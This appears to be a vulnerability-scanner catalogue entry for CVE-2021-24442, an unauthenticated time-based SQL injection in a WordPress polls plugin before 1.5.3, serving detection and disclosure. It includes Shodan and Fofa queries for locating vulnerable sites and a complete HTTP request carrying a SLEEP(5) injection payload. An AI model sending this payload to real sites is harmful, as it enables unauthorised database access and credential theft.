| Title | Wordpress Polls Widget < 1.5.3 - SQL Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute SQL injection to manipulate database contents, potentially gaining unauthorized access to all WordPress data including user credentials. |
| Remediation | Fixed in 1.5.3 |
| CVSS Score | 9.8 |
| EPSS Score | 0.72516 |
| CVE ID | CVE-2021-24442 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/polls-widget/ |
| Fofa Query | body=/wp-content/plugins/polls-widget/ |
| Tags | time-based-sqli wpscan cve cve2021 wp wp-plugin wordpress polls-widget sqli wpdevart vkev vuln |
The Poll, Survey, Questionnaire and Voting system WordPress plugin before 1.5.3 did not sanitise, escape or validate the date_answers[] POST parameter before using it in a SQL statement when sending a Poll result, allowing unauthenticated users to perform SQL Injection attacks
POST /wp-admin/admin-ajax.php?action=pollinsertvalues HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 74
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Forwarded-For: 38FH4wVHdOaA5ziEfuw51buQc0e
Accept-Encoding: gzip
question_id=1&poll_answer_securety=8df73ed4ee&date_answers%5B0%5D=SLEEP(5)
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24442.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24442.pcap
N/AN/A